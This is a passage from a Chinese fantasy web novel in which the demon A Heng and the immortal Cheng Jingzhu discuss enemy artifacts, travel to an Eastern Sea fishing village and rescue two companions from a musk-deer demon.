不知道是不是阿姮的错觉,她总觉得他的皮肤似乎比从前更加苍白了,简直和她过去没有壳子的时候差不太多,可能阿姮做衣服的时候就没太找准系带应该缝制在什么地方,所以他稍稍倾身,衣襟就变得有些松散,昏昧的一片阴影中,那种冷冽的苍白自胸膛往下隐约勾勒着腰腹每一寸肌肉纹理,晦暗不明。 他一贯衣着整齐,神貌端严,再多宝饰加身,也绝不庸俗一分,反而更衬其法相洁净,而此刻他却衣着凌乱,修长的指节捻起她一缕缠成一团的乱发。 阿姮的头发很久没有梳理,加上受过雷劫,她有些头发缠绕成了死结,根本梳理不开,程净竹拿了把剪刀,将打结的头发剪掉。 他抬起眼,看向铜镜,镜中的阿姮一下垂眸盯着鞋面的珍珠看,感受到他的手指轻轻拂过鬓边,勾开她的发丝,阿姮僵着后颈,忽然说:“小神仙。” “嗯?” 程净竹又剪下一缕打结的发。 他那样认真的神情,一点也不像在给她处理乱发,窗纱上的光影淡淡,映照他神清骨秀的面庞。 阿姮忍不住偷偷地在镜子里看他,又飞快挪开视线:“我是不是还没有跟你讲过绿衣女的事?我才到松南岭的时候就遇见她了,就在那午山上,要不是躲到九仪庙里,我可能就被她发现了……那个时候我还不知道,她在这松南岭作恶,其实就是为了等一个人。” “你怎么不问我等什么人?” 阿姮没听见他什么声响,有点不高兴地转过脸。 程净竹垂眸,手指捏住她的脸让她转过去,在镜中看她,轻描淡写:“什么人?” 他的手只是短暂地捏了捏她的脸,阿姮却觉得下颌那块皮肤温度变得很不一样,她依旧回避镜中他的目光,继续说道:“在松南岭的饮香驿有个陆家,那陆家老爷有个儿子叫陆淮,他儿时就上了赤霞山,你知不知道赤霞山啊?听说是座道士山……” 阿姮将绿衣女与那陆淮之间的前生今世原原本本地讲了个遍,可谓手舞足蹈,生动非常,程净竹好似漫不经心地听着,将她打结的发梳理完全。 “你说那个赤金球有火种的味道?” 他似乎对绿衣女与陆淮本身没有任何兴趣,只在听到绿衣女手持的那个怪异的法器才出声。 “是火种的味道,但那东西怎么看也容纳不了火种。” 阿姮说道。 “那是天衣人的本命法器,称紫目神窍。” 程净竹口吻笃定。 阿姮闻言,一下回头看向他:“紫目神窍?” 程净竹轻轻颔首:“天衣人与凡人本没有什么不同,一样的血肉之躯,一样的血肉心脏,但他们却炼化出一种法器,借由此法器取代血肉心脏,从此不死不灭。 但并不是所有的天衣人都能继承紫目神窍,天衣混血多数都与凡人的寿命一般无二,除非自己炼化本命法器替代心脏,正如那薄舟,他生来没有紫目神窍,心脏又残缺,只能自己炼化一样法器与它共生,但任何法器都比不上血统纯正的天衣神族炼化的紫目神窍,所以,有些天衣混血的父母会在自己的孩子出生之时,生生挖出自己的紫目神窍渡给他,用自己的性命换孩子永生。” 阿姮听他这么说,倒是想起来,那薄舟的本命法器,似乎只是一把匕首而已,没有父母挖出紫目神窍给他,他只能借由一把匕首苟延残喘。 “惠山元君和碧瑛身上的火种落到了清峨的手里,而清峨利用火种赐给这些妖孽强大的力量四处作乱。” 程净竹很快想明白了其中的关窍:“她的化身藏在那紫目神窍之中,是为了夺我身上剩余的两枚火种。” “岂止是火种。” 阿姮的脸色一下变得很臭:“她要连你也夺走,我应该砍断她那双伸过来的手,让她的手,跟她的眼睛一样残废,迟早有一天,我会那么做的。” 铜镜里映出她暗红的,妖异的双目。 “但我们现在,” 阿姮转过身来,“必须要趁着孟婆和阎王清理掉她所有耳目的这个时候赶紧跑,回到赤戎,取回你的神骨。” 程净竹不动声色。 阿姮有点焦躁,伸出手指戳了戳他:“小神仙,你听到了没有?” “听到了。” 他说。 阿姮仔细凝视着他眉心那道细细的血线,心中的焦躁挥散不去,她想了想,站起来问:“小神仙,绿衣女是不是很坏?” 程净竹不言,剔透清冷的眸子注视着她。 “她是妖邪,我也是,我和她一样坏。” 阿姮说道。 “你和她不一样。” 程净竹终于开口。 阿姮却一步,两步逼近,昏昧的光影中,她暗红的双眸,苍白的面容是那么艳丽,衣襟,袖口的暗纹闪闪发光,她鲜红的绣鞋鞋尖抵住他脚尖,近在咫尺的距离,呼吸很轻,她眼睫微垂,目光不自禁落在他淡色的唇,他的唇形真的很漂亮,哪怕没有多少血色:“有什么不一样呢?她是雀妖,天生有一副血肉身躯,我也是妖,即便如今得了一副血肉壳子,这颗血肉心,也仍是一颗妖心……我和她一样,会记仇,会为了复仇而纠缠一个人十年,百年,我不一定明白什么是喜欢,但却一定会记得什么是恨,我说了……我们妖怪是很可怕的,所以你……” 阿姮说着抬起眼帘,目光触及他的双眼,声音却莫名戛然而止,她……要说什么来着?阿姮反应了一会儿,哦,她要警告他,千万,一定,不要喜欢她。 “你们不一样。” 程净竹的口吻很平淡,那双眼也并不柔情,他惯常如此的冷,神情总像银山白雪,窗纱外透进来的光影照着一片浮动的尘埃,他的气息是那么近在咫尺,青蘅草的味道那么芳香,一时令阿姮有种自己逼近他的这两步更像是她自投罗网的错觉。 “会记仇,并不是一件坏事。” 程净竹的声音再度落来:“记得仇恨,便知道谁伤害你,你便要谁来报偿,如此便不会吃亏受苦,何况你并不只会记仇,人如何待你,你如何待人,这便是你与她最大的不同,你亦从来都不可怕。” 阿姮一下往后退了好几步,盯着他,好一会儿才憋出来一句:“你……不要以为你夸我我就会……” 就会允许你喜欢我。 阿姮不知道自己的脸颊浮出淡淡血色,红扑扑的,她的手撑在身后的桌角上,下定决定,扬起下颌,说道:“从今日起,我们两个必须要保持距离。” 她的神情变得严肃起来,显然很认真。 再这样下去,他万一……万一不知道什么时候就特别特别喜欢她了,戒痕忽然就裂了该怎么办? 程净竹站在那片忽明忽暗的光影里,影子斜斜拂过她鲜红的裙摆,他神情平静:“你想保持多远的距离?” “就现在这样……” 阿姮望着他那双漂亮沉静的眼睛,又忽然绕到桌后,直到后背抵上墙面,两人之间的距离已经差不多横跨一间屋子了,阿姮这才点点头: “还是这样最好。”《 》 75-80 第76章 第76章 “也许,他会回来的。”…… 076: 大清早的, 客栈里依旧冷冷清清,掌柜挨着门框打哈欠,斜着眼往外瞅了瞅乌云密布的天色,今日怕也没机会见到太阳的真容了。 “当家的!” 身宽体胖的妇人手里挎着个菜篮子匆匆跑来, 快到跟前掌柜才发现她篮子里是一堆朱砂黄符, 掌柜眉心一拢:“你不是买菜去了么?菜呢?” “还菜什么菜啊, ”妇人凑近给他看篮子里的黄符,神秘兮兮地说道,“我听人说, 昨儿夜里土地爷显灵了!” “什么?” 掌柜一脸惊疑。 “真的!何老三你知道吧?就那个赌钱把房子地契全赌输了的那个何老三, 这阵子他都在土地庙里睡觉。” “他说的?别是他瞎吹吧?” 掌柜是听过何老三那烂赌鬼的恶名的。 “他那样子看着可不像瞎吹, 听说午山上有一座娘娘庙也显灵过, 要不是娘娘显灵,咱们这儿的雨还下不够呢!” 阿姮出了房门, 凭敏锐的耳力正好听见那妇人的声音, 她走到楼梯口,又听到底下那妇人继续说道:“何老三说说他昨晚上梦见个神仙, 那神仙自称是咱松南岭的土地, 神仙嫌他那摇骰子的手脏, 说要砍了他的手, 又说他的脚也不干净, 踩脏了土地庙的地砖,说还要砍了他的脚,那何老三吓得哭爹喊娘的, 连忙求饶,土地这才肯给他机会,嘱咐他醒来自断一指, 以表其痛改前非之心,还让他一定要按照顺序分发黄符,若有一处错漏,若他敢动什么歪心思,就立即要将他拖入阎王爷的十八层地狱里斫臂剜膝!他一醒过来,就看到堆成小山似的黄符,顿时不敢怠慢,连自己手指头都狠心割下来一个,现在到处发黄符,我正好领到了咱们的!” 斫臂剜膝。 十八层地狱。 阿姮心中不禁可惜,阴司原来还有这样的地方,她只是很匆匆地去了一回,也没机会将那整个阴司逛个完全。 阿姮下楼的步履很轻,但年久失修的木楼梯还是发出了“吱呀”的声响,妇人说话声止了,夫妻两个回头一望,见红衣少女缓步下楼,因天色不够明亮,所以柜台处还点着几根蜡烛,少女从那片烛火畔走过,几片明亮的光影如水面粼波先后短暂投落她细而弯的眉,漆黑而发亮的眼,可谓光艳照人。 夫妻俩皆被这少女的容色一惊,随后,妇人露出疑惑之色:“姑娘,你是……” “我?” 阿姮挑了张看起来不那么脏的桌子,坐了下去:“我是个住店的。” 妇人回头,看向丈夫。 “我昨晚临睡前也没见到有什么人来投宿……”掌柜倒也没什么奇怪的,“只怕是后半夜的事。” 跑堂忙着补觉,正在后院打鼾,掌柜也懒得去问他。 “拿吃的来。” 阿姮说着,看向左边桌子上摆着个碗,那似乎是掌柜随手搁在那儿的,虽然已经空了,但仍能看出上面黏黏糊糊裹着细碎菜叶。 阿姮皱起眉,转过脸,强调:“要好吃的。” 掌柜不知为什么,这姑娘说话明明轻声细语的,但他被她盯着,后脑勺都出冷汗了,感觉如果他要是敢给她端上来他早上自己一锅乱炖的蔬菜糊糊……她可能会掀桌子摔碗。 掌柜硬着头皮问道:“姑娘想吃些什么?” “烧鹅。” 阿姮其实还想说点什么,但是她不知道除了烧鹅还有什么菜好吃,“你们喜欢吃什么?” 夫妇二人面面相觑,掌柜老实道:“蔬菜糊糊。” 妇人道:“白面馒头。” “那烧鹅呢?” 阿姮皱眉:“你们为什么不喜欢烧鹅?” “……” “……” 夫妻俩实在说不出话来。 那是不喜欢吗? 那是没几个时候能吃得上啊! “之前闹妖怪,我们养在后院里的鸡鸭鹅跟疯了似的满街乱跑,到现在还一只都没找回来呢。” 妇人说着,眉头染上愁绪。 这客栈本来就又小又破,妇人出去买菜也没买着,阿姮听着妇人小心翼翼地问她要不要吃蔬菜糊糊,阿姮想了想,还是决定试试。 “我这就去盛一碗来给姑娘!” 妇人说着,又喊那掌柜:“当家的,赶紧将篮子里的符贴了,听何老三说,这符要前门三道,后门九道,还有楼上楼下,凡是门窗都要各贴一道,记住了没有!” 掌柜连应几声,这便去拿起来那只菜篮子,阿姮在桌边不动,余光却扫过那篮子一眼,那掌柜捏起来一张符纸,上面朱砂鲜红,却散发耀耀金光,刺得她双目一花,阿姮闭了一下眼睛。 不好。 那符纸果然是神仙之物。 而且,对她有作用。 掌柜一双肉眼却看不出那黄符有什么稀奇的,他正要一巴掌拍到门上,却听身后传来一道声音:“喂。” 掌柜一下转过脸,那少女坐在桌边,一双眸子漆黑明亮:“你最好不要现在贴。” 掌柜看了看符纸,又看了看她:“为啥?” “因为我要吃蔬菜糊糊。” 阿姮说道。 “……?” 不是,这有什么关系呢?掌柜实在是很疑惑了:“你吃你的,我贴我的啊。” 阿姮看他转过去要继续贴符,目光落到那篮子中,没有贴上门窗的符咒等同于没有启封,她指尖燃起一簇红云烈焰,想连篮子烧个干净,干脆把这间又小又破的客栈一块烧了才好,却听那掌柜口中念念有词:“请土地爷保佑,保佑我全家平安,保佑我幼子成人,保佑我这间客栈客似云来,财源滚滚,哦还有还有,希望不要再闹妖怪了……原先碧澄澄的天多好看啊,怎么就成了这样……” 他拿着那符咒像说不尽似的,嘟囔了一大堆。 阿姮莫名望了一眼外面的天。 乌云密布,雷电交加。 她指尖的火焰忽然灭了,坐在那片阴影里没有动,此时楼上忽有清音微动,阿姮抬头看到程净竹站在楼梯口,而他的目光却越过她,盯住那唠叨完了终于要贴上第一张符的掌柜:“可否容我看一眼你手上的黄符?” 掌柜回头,见楼上立着个少年,发若银灰,神清骨秀,根本不似此中凡人,掌柜愣了,这……难道也是后半夜上门的生意? 他睡得早真是什么都错过了。 “啊……不知您是……” 掌柜看他不像寻常人,便问起来。 “上清紫霄宫药王殿弟子。” 程净竹踏着老旧的楼板,走下来。 掌柜只见他腰间那根银尾法绳亮得出奇,缀下的珠饰漂亮至极,也是离得近了,掌柜才发现他眉心似乎隐有一道十分纤细的血线。 “原来是一位仙长!” 掌柜就算这辈子没去过东炎国,也早早听过上清紫霄宫的威名,他立即变得十分恭谨起来,忙将黄符递给程净竹。 程净竹道了声谢,接过黄符看了看,又将篮子里的其它黄符也一一查看,掌柜见此,不由惴惴:“仙长,您看这符箓有用吗?” “这的确是驱妖除魔的符箓。” 程净竹说道。 掌柜松了口气,心说那何老三还真没骗人,这时,那妇人终于端着碗出来了,她小心翼翼放到阿姮面前:“姑娘,实在对不住,我不晓得店里有客人,今天光顾着拿黄符,没买菜……这蔬菜糊糊是我们当家的做的,可能味道是粗了些,但是粗茶淡饭也有粗茶淡饭的香味儿嘛……” 妇人明显比掌柜能说会道,还一副笑脸。 阿姮沉默地盯着面前这一碗蔬菜糊糊,看起来绿油油的,黏糊糊的,她拿起勺子,在妇人殷切的目光中抿了一口。 “怎么样?” 妇人问道。 阿姮面无表情地放下勺子:“我果然不喜欢吃草。” “……啊?” 妇人愣住了。 “不是,这是蔬菜!蔬菜!”掌柜急了,“哪里是草呢!” 蔬菜不就是草。 阿姮搞不懂人类。 “还吃吗?” 程净竹看她一眼。 阿姮才不吃呢,她都后悔等这么一会儿了,她起身走到门边,顿了一下,对上掌柜不服气的目光:“现在你可以贴了。” 阿姮走出门去,程净竹将两粒碎银放到桌上:“告辞。” 外面风有些大,街上只有零星摊贩,阿姮见程净竹跟了上来,便问道:“那些符箓真那么有用?” “你不是感受到了吗?” 程净竹说。 也是,阿姮是妖邪,正是那符咒应该克制除灭的目标,她看到那耀目金光,便知道它的不凡。 “这么好的东西,这松南岭的土地还真舍得送给这些凡人。” 阿姮说道。 程净竹却道:“你以为那些符箓是怎么来的?” 阿姮闻言,停步看向他。 冷风吹过程净竹的衣摆,腰侧珠饰一阵凌乱地响,他亦站定:“土地是地仙,受凡间清浊两气相互交织的影响,再加上不得私离守地去寻找福地洞天的天规,他们身上的精纯清气本就不足,所以土地每隔百年便要轮换一回,让精纯清气不足的神仙回上界述职,另作他用。精纯清气是神的根本,而你方才见到的那些符箓,全部是这松南岭的土地以自身精纯清气为代价而成,我看过篮子里的符箓,上面皆有八卦卦符,客栈位于镇北,掌柜夫妇分到的是卦符为坎的符箓,属水,其他方位的人所分到的符箓应该都对应着各自方位上的八卦五行,土地是在造一个符箓法阵,所有人只要贴对方位,就能铸起一个妖邪不侵的阵法,将整个松南岭保护其中。” “那他怎么早不弄这阵法?” 阿姮问道。 “每一张符箓都需要他亲自去画,可这松南岭又有多少人。” 程净竹说。 原来是日夜赶工才画成啊,阿姮一边往前走,一边说道:“那如果他的精纯清气耗光了呢?” “神殒。” 阿姮一顿,又问:“那,如果他正好做土地快百年,可以去天上玩儿了,那他岂不是亏很大。” 程净竹踏着湿润的水气往前,声音不疾不徐:“受人香火一日,便为人一日,这是神的责任。” 阿姮又听到“责任”两个字。 她说道:“那我方才要是把那一篮子符箓都烧了,这土地的苦心岂不全都白费?” 这符箓要成阵法,便一环都不能出差错。 “那你为什么没有?” 程净竹问道。 谁知道呢?阿姮仰起脸,看到那片黑沉沉的浓云,时时闪烁的雷电:“可能是因为,我也不喜欢现在这片天吧。” 碧澄澄的天,的确更好看。 她没听到程净竹的声音,一下转过脸,却见他正看着她,阿姮的目光触及他眉心的血线,她这才想起来自己立下的规矩,顿时和他拉开一段长长的距离:“你走前面!” 她看起来有点凶巴巴的。 程净竹清润的眼中似乎有些无奈,但他什么都没说,依言绕过她往前面走去:“如今不能御风,我们得快些走了。” 阿姮也知道得快些啊。 她提议还是御风算了,两条腿走路真的很累,不就是被雷劈么?她都被劈习惯了,但小神仙说她现在这副壳子会被劈坏。 好烦,有了个像人类一样的壳子也没那么好,怕磕怕碰的。 离开镇子不远,阿姮见到个石雕的土地神像,就在小小的一个石头神龛里,挨着一颗参天大树,虽不是正经的土地庙,但看地上新鲜的果子,也知道这尊神像也是常有人供奉的,阿姮随手顺了个果子咬了两口,竟然十分清甜,她瞥了那神像一眼,记起来霖娘祖父的神像似乎也是这么个慈眉善目小老头的样子,阿姮怀疑是不是天底下所有的土地神像都长一个老头样。 阿姮想了想,把从峣雨送给她的凤钗上拆下来的所有零碎珠石全都扔到果盘里,这些珠子太小,她之前没给小神仙用上。 但这几样东西再小,也是有精纯清气的。 “买你几个果子吃。” 阿姮将果子全拿了,转头就走。 前面程净竹早已停了下来,在那片冷雾中,他那副面容似乎更加苍白,阿姮嘴里咬着半个果子,怀里抱了几个,手指一勾,风雾便自然地托着一颗果子到他手里。 程净竹看向手中那颗青色的野果,她已经能够简单地控制流动的炁了。 阿姮不知道他站在那里看着颗果子发什么呆,正要说话,却见他从衣襟里扯出来个什么,她还没看清,那东西便被他抛出,化出一道金光,转瞬凝聚在阿姮颈间。 阿姮低头一看,那是一颗幽蓝的宝珠。 泥妖凭借它才能聚污泥为骨肉,修成妖身。 这件好宝贝被她一直随身放着,直到程净竹受重伤,她路上把能用的珠石都给了布娃娃,也包括这样东西。 它原本是很大一颗,阿姮把它变小,用一根细线穿着戴在他身上,渐渐也就忘记它的存在了。 阿姮手指触碰到那细绳,她一下便察觉到上面被施了咒术,所以它看起来虽纤细,却是怎样都不会断的。 “你这是做什么?” 阿姮看向他。 “防止你再将它丢给旁人。” “给你也不行?” “不行,”程净竹转过脸,缓缓看向雷云阴影下更显深邃神秘的连绵山廓,天与地之间好像因雷云的阴沉而显得距离不那么遥远,“这天地之间的炁是流动的,凡人食五谷,难分清浊,只有神仙与妖魔才能发现这两种流动的炁,发现得了炁,自然也能借炁而修行,修清修浊,炁都是一种借来的力,是修行的根基,得道的法门,但你却不是这样,炁可以因你的意志而动,这是一条从来没有人走过的道。” 阿姮听明白了,他的意思是,不论是神仙还是妖魔都是在利用炁使自己的修行从无到有,这是根基,而在此根基的基础之上修行,方才能有万般变化,诸般道法,所有的变化,所有的道法,才是他们可以掌握得住的能力。 而她却不一样,因为流动的炁可以直接化为她的能力。 阿姮随他目光望去,黑云连天,电光无限,冷冽的影轻轻从她脸颊划过,她咬了一口果子:“没人走?那岂不更好,我一个人真宽敞。” 若换了旁人,听见他这么说便该担心起这条没人走的道到底稳不稳当,但显然她并不这么想,一条没人走的道,对她来说才更具诱惑,程净竹分毫不意外,只是说道:“所以它对你会很有用处。” “什么用处?” “它可以感知、分辨这世间所有的炁,你可以凭借它追寻风雾中任何一缕炁,跟随它,感知它,甚至找到它的来源,即便你不曾踏遍四海,天地万物也都将在你眼前。” 程净竹继续说道:“炁千变万化,比风更灵动,比雾更湿润,从来没有人掌控过它,借用这颗东西,你可以试着让炁做你的眼睛,你的耳朵,你的手……甚至是你的利刃。” 阿姮从不知道这颗宝珠竟然还有这样的作用,她其实可以感知到炁,但那是一种十分朦胧的感觉,好像只是一个念头,一寸风声,如同不清不楚的错觉。 但她偏偏又能借一点风雾送颗果子给他。 还能在她还是个瞎子的时候借它辨清那绿衣女的方位。 阿姮垂眸看向宝珠,却见它顷刻发出幽蓝的光芒,她猝不及防被光影一刺,下意识闭起眼睛,身形却一下僵住了。 她明明还闭着眼,却觉得自己的神识变得很轻,轻到跟那些风啊雾啊一道飘过小神仙黑色的衣摆,将他腰间的珠饰碰出点点清音,越过密林,飘向一片阔达的天地,清浊两气如有实质,一道道,一缕缕,缠在风雾里像永不坠落的流星一样在天地间肆意划行。 松南岭过多的浊气都被阿姮吸走了,清浊相衡,各不相让,却又没有胜负,但它们对阿姮却是一样的亲近,绕着她的衣摆,擦过她的头发,十分轻柔。 阿姮同样也对它们有一种亲近之感。 也许,是因为她原来的本相就是一团什么也不是的雾。 阿姮觉得轻快,从没有这样的轻快。 她睁开眼睛:“做我的眼,我的耳,我的利刃……小神仙,这听起来真的很有趣,你说,要是我当初吃了碧瑛的内丹,是不是便没有这样的造化了?” 碧瑛那颗三千年的内丹可以凭白赐给阿姮三千年的道行,但她也会因此而受制于碧瑛的修行方式,与她求同一个道。 可碧瑛到死都不知她的道是什么。 碧瑛给的行炁道法有万般变化,也许是为了岐山那些追随她的妖怪们考虑,每个人修行她这套道法都会有不同的方式,不同的际遇。 而阿姮自己的方式,是用这套道法吸取炁,以流动的炁将万木春的金电化为她身体里的每一寸经络,而吸取的炁便成了她识海中层叠的云雾,清与浊在她的识海,竟然也不再相斗,它们选择了共存。 这有些像天衣人造出紫目神窍这样的法器来充当自身的心脏,与法器共生。 但阿姮并非与万木春共生,而是把它变成了自己的一部分。 万木春,只能是她的东西了。 “走吧。” 程净竹没有答她那个根本没有意义的猜想,因为她早已做了选择,山间湿润的雾气浓郁,他转过身去,脚下并不沾尘。 “对了,” 阿姮的声音传来,程净竹不回头也知道她仍维持着她严格控制的那段距离,“积玉说,白泽有感知世间一切炁的能力。” 程净竹步履一顿,又听见她道:“小神仙,你的这种能力,怎么这颗珠子也有?” 自程净竹恢复以后,阿姮并没有提起过有关白泽的事,程净竹也并不知道积玉都说了什么,想来应该是上界传下来的消息,他还没说话,又听阿姮道:“这种能力不是只有你有吗?” 他们说,白泽是瑞兽。 他之所以是祥瑞,是因为他具有感知世间一切炁的能力,他知道每一缕炁的来处,去处,所以天地万物都在他一念之间,那么多与他无关的欢乐,痛苦,全都在他眼前,有炁的地方,他必能降下祥瑞云气,灭灾厄,佑苍生。 程净竹回过头,隔着一段不远不近的距离,她站在那儿,没有刻意遮掩的暗红眼眸一瞬不瞬地望着他,他瞥一眼她脚边的水洼,回过头继续往前走:“不要踩水,否则弄脏了鞋子你也必须好好穿着,不许丢。” 这样的荒郊野岭,可没有什么人家能卖给她新鞋子穿。 阿姮哼了一声,心中又抱怨起这副血肉壳子来,不穿鞋子就会有脚底被划破的风险,脆弱得她不敢置信。 见他就要走远,阿姮忙绕过水洼跟了上去。 不能御风,他们二人这条路走得比来时久得多,出了邕宁国边界,路过岐泽国,足用了数月的光景。 孟婆与阎王虽替他们清理了松南岭的眼线,但如此乱世,他们的眼睛又不能时时注意阿姮与程净竹,故而路上可谓是十分的不平静。 无数的跟踪、试探紧紧地粘着他们,阿姮与程净竹只得将人一一杀了,尽力隐藏行踪。 行至东海,正值初秋。 天快要彻底黑下去,阿姮与程净竹凭着记忆找到了从前那个小渔村,程净竹一进渔村,便被从前投宿过的那户人家的渔女认了出来,她还以为自己眼花了:“是……小仙长?” “朱姑娘。” 程净竹依稀记得她姓朱。 渔女没有想到他还记得她的姓,抿了抿唇:“仙长还是来投宿的么?” “是。” 程净竹点头。 “那,还是住我家吧。” 渔女说道。 程净竹却看一眼四周,天都要黑透了,各家也没几户透出几点灯火,出奇的安静:“我记得从前这渔村十分热闹。” 渔女垂着头,在前面领着路:“小仙长不知道,我们这儿一个月前闹妖怪,好多人都死了,剩下一些人,也都是在海上讨生活的,见这天总被阴云遮着,被雷电压着,都不敢再出海了,再加上他们也害怕妖怪,所以能跑的,都跑了。” “那你为何不走?” 程净竹问道。 渔女的身形忽然顿住,转过脸来,她一手提着个篮子,篮子里放着盏烛火,那烛火照着她瘦削的脸,映出她泪意闪烁的眼睛:“因为我爹还没从海上回来,我娘得了重病,如今已起不来了,我要等爹,等爹回来……见娘一面。” 阿姮离得远,慢吞吞地走着,那渔女竟然也没发现后面还跟着一个她,阿姮敏锐的耳力将他们的对话听得清清楚楚。 阿姮臭着脸,一边竖起耳朵听,一边盯着程净竹的肩背。 “小姑娘。” 忽然,一道苍老的声音从左侧传来,阿姮循声看去,那低矮的院墙边上竟坐着个老妪,她的头发花白,全被一根陈旧的布条整整齐齐地束成发髻。 她面前摆着个矮桌,桌上放着一盏油灯,还有一个蚌壳做的碗,在灯下亮晶晶的十分好看。 阿姮顿时被吸引目光,见老妪朝她招手,她便走了过去,老妪在灯下问她:“从哪儿来啊?” “从邕宁国来。” 阿姮随口说着,还在看老妪亮晶晶的碗,老妪却误会了:“那么远啊……你饿了吧?这是海鲜粥,你吃不吃得惯?” 老妪立即舀了一碗给她。 阿姮鼻子嗅了嗅,好像……挺香的,但是她想起之前见过的东海龙王的那些虾兵蟹将,顿时有点纠结。 但见老妪望着她,阿姮还是坐下,尝了尝海鲜粥。 她眼睛亮了亮。 ……虾兵蟹将的徒子徒孙们原来这么好吃。 “阿姮?” 程净竹的声音传来。 阿姮转过脸,发现程净竹不知何时停在不远处,正看着阿姮,那渔女提着灯就在他前面,灯影摇摇。 “老婆婆,我走了。” 阿姮三两口喝完粥,起来往那边跑去了。 老妪抬起头,只见少女仍恪守一段距离,远远跟着那少年修士,收起过快的步伐,十分谨慎地维系着什么。 程净竹一进渔女的家,便去为她母亲诊了病,送了一粒丹药,又开了个药方,渔女千恩万谢,拿着药方却又愁眉不展:“可如今这样乱,我空有此方,却不知该到哪里去买来这些药材……” “你们也是东海子民,岸上乱成这样,东海龙王却从来不曾过问么?” 程净竹站在门边,问渔女道。 渔女摇头:“村中人不知拜了龙王多少回,至今也不见龙王显灵。” “这药方只是一些温养调理的药,并没有那么着急,你母亲用过丹药,性命已经无碍了。”程净竹说道。 渔女又忙道谢,眼泪汪汪地抬起头,却见那红衣少女正在院中的秋千上坐,那双眼睛正一瞬不瞬地望着他们这边。 渔女连忙低下头去。 恰是此时,一阵夜风袭来,这对渔女而言不过是再寻常不过的一缕风罢了,但阿姮与程净竹却在刹那间不约而同地望向北边。 渔女再抬起头来,发觉面前的仙长,还有那红衣少女顷刻都不见了,只有那老树下的秋千还一晃一晃的。 阿姮化雾,紧随在施展轻功的程净竹身后,落去北边那片竹海里,竹影犹如浪涛在夜色下层层叠叠,簌簌不绝。 林中有一男一女飞身掠影,女子手中菱花小镜一照,汪洋流水自镜面涌出化为长帛一般将那被他二人逼退到根根竹影下的身影牢牢缠在一根粗壮的竹子上。 “放开我!我根本不认识你们!你们又何故苦苦相逼!” 那人从乱发下抬起一张脸来,人的五官顿时妖化,显露獐子的本相,女子厉声质问道:“你这妖孽,我早发现你鬼鬼祟祟,我记得前面不远便是一个渔村,你到那儿去做什么?” 那獐子妖两根牙齿长而森白,从嘴角向下,咧嘴发出妖异的吼声。 “不说是吧?积玉!先收了他!” 女子转头喊道。 积玉金剑在手,闻言立即扯下腰间的葫芦,并起双指正要画咒,那獐子妖却猛然崩断了女子的束缚,双眼血红地朝她扑去,积玉见状,立即掷出金剑,掐诀的刹那,金剑幻化数把,齐刷刷刺向那獐子妖。 獐子妖那一对獠牙坚硬无比,竟然“锵”的一声抵落一柄金剑,另几柄金剑却瞬息扎入他双肩,剑锋深深刺入竹子中,将他钉了回去。 那獐子妖哀嚎一声,血红的眼却并不露怯,积玉心中忽然一跳,下一瞬,风中似乎有了奇怪的味道。 是麝香! 浓郁的麝香味顷刻使积玉的头皮像是炸开:“不好,霖娘快捂住口鼻!” 霖娘却已神魂颠倒,片刻才迟钝地“啊”了一声。 积玉只得一边捂住自己的鼻子,一边去捂霖娘的鼻子,“寻常麝香可开窍醒神,獐子妖的麝香却比寻常麝香要厉害百倍,会让人难以抑制地兴奋,直到心脏麻痹而死!” 积玉曾听说过,有些权贵会为了专门体会那种兴奋的感觉,而请那些见钱眼开的玄门人专门猎杀獐子妖,取其麝香,制成香丸。 “可我……我是个鬼啊。” 霖娘勉强说道:“我也好兴奋哦,兴奋到想撞墙。” “鬼就算死不了,也控制不了手脚……”积玉话还没有说完就挨了霖娘一巴掌,他脸生疼,心道,不好,她已经癫狂了。 “该死的人类。” 那獐子妖拔掉身上的金剑,呼吸粗重,人声混合着兽鸣:“去死!都去死!” 他身上涨出黑气,猛然扑向积玉、霖娘二人,积玉见状,立即掐诀,金剑腾空而起,剑影飞速环绕獐子妖,使獐子妖顿时不得寸进,积玉抓住机会念起咒来,金剑顿时猛刺獐子妖腹部。 獐子妖被剧烈的剑气波及,瞬间飞出去,又被重叠的竹影弹回,摔落地上,金剑穿透他的腹部,他哀哀鸣叫,麝香味更加浓郁,积玉只觉得自己的神思变得异常尖锐,晃神的刹那,那獐子妖欲爬起来,却忽然有什么东西刺破风声,尖锐之声由远及近,积玉抬首只见金电如织,迅速穿透獐子妖的胸膛。 獐子妖浑身颤动几下,鲜血汩汩地涌,很快便没有声息了,金电褪去,露出那根漆黑的焦枝。 积玉浑身一震,转过头去,只见一黑一红两道身影,那红衣少女略微勾了勾手指,焦枝顿时回到她手中,枝尖一点一点滴着血。 积玉看见她身边的黑衣少年,还有些不敢置信,眼框顿时微红,失声喊道:“小师叔!” 霖娘却还意识不清地想要挣脱积玉的束缚,急了,又给了积玉几巴掌。 积玉要哭的情绪一下子被打没了,他连忙双手制住霖娘。 程净竹走近,立即递出两枚丹药:“吃下去。” 那是药王殿的定神丹,积玉一把接过来,自己吃了一颗,又把另一颗塞到霖娘嘴里,又被她咬了一口。 积玉吃痛,丢开她:“赵霖娘你属狗啊!” 霖娘一屁股坐到地上,屁股生疼,定神丹片刻就起效,霖娘终于回过神来,看到面前一双嵌着圆润珍珠的绣鞋,她眨了眨眼睛,缓缓仰起脸。 红衣少女亦以一双暗红的眼在看她。 “……阿姮?” 霖娘喃喃了声,忍不住揉揉眼睛。 “赵霖娘,你走得太慢了。” 红衣少女盯着她,说。 霖娘听到她的声音,顿时忍不住泪涌,她一下爬起来,抱住阿姮:“真的是你阿姮!” “小师叔,您……没事了吗?” 积玉在旁,忍不住上下打量程净竹,他看起来金身完好,除了脸色苍白之外,似乎没有一点不妥。 “没事了。”程净竹点头。 此时,那獐子妖胸口的血洞里浮出一枚妖丹,阿姮看到那妖丹上残留的黑气,说道:“又是火种的气息。” 霖娘一下松开阿姮,看向那枚妖丹:“火种?” “此妖不算大妖,并没有得到天衣人的紫目神窍,天衣人只给了他一些火种的力量,方便他跟踪我们。” 程净竹瞥一眼那妖丹,随后说道。 “天衣人派他跟踪你们?” 积玉立即反应过来:“难道是为了小师叔您身上的火种吗?” 程净竹看了一眼他,还有霖娘,他二人风尘仆仆,看起来十分狼狈,便说道:“先去渔村休整一夜。” 渔女本来睡下了,听见声音立马警惕地点灯出门,却见是程净竹与阿姮,她松了口气,又见他们身后还跟着一男一女。 渔女赶紧领着他们住下。 